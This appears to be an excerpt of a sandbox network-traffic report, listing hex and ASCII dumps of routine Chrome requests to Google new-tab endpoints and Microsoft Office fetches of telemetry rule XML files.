2024-11-20 13:43:21 UTC	648	IN	Data Raw: 62 61 6c 6c 22 2c 22 62 6f 65 69 6e 67 20 6c 61 79 6f 66 66 73 22 2c 22 67 61 6d 65 20 61 77 61 72 64 73 20 6e 6f 6d 69 6e 61 74 69 6f 6e 73 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 22 2c 22 6b 6f 68 74 20 61 6c 61 62 61 6d 61 20 66 6f 6f 74 62 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 Data Ascii: ball","boeing layoffs","game awards nominations","nyt connections hints","koht alabama football"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestde
2024-11-20 13:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49730	172.217.21.36	443	5000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49731	172.217.21.36	443	5000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 13:43:21 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 13:43:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 13:43:21 UTC	372	IN	Data Raw: 32 31 30 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2108)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 38 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700278,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-20 13:43:21 UTC	1142	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-20 13:43:21 UTC	504	IN	Data Raw: 31 66 31 0d 0a 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 Data Ascii: 1f1}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;thr
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 Data Ascii: 8000d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"arra
2024-11-20 13:43:21 UTC	1390	IN	Data Raw: 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e Data Ascii: 003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49733	172.217.21.36	443	5000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 13:43:21 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 13:43:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 13:43:21 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 13:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134322Z-185f5d8b95cf7qddhC1NYC66an0000000ad0000000009rnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134322Z-1777c6cb754lv4cqhC1TEB13us00000009r0000000005af2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134322Z-185f5d8b95ctl8xlhC1NYCn94g0000000a9000000000p6ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
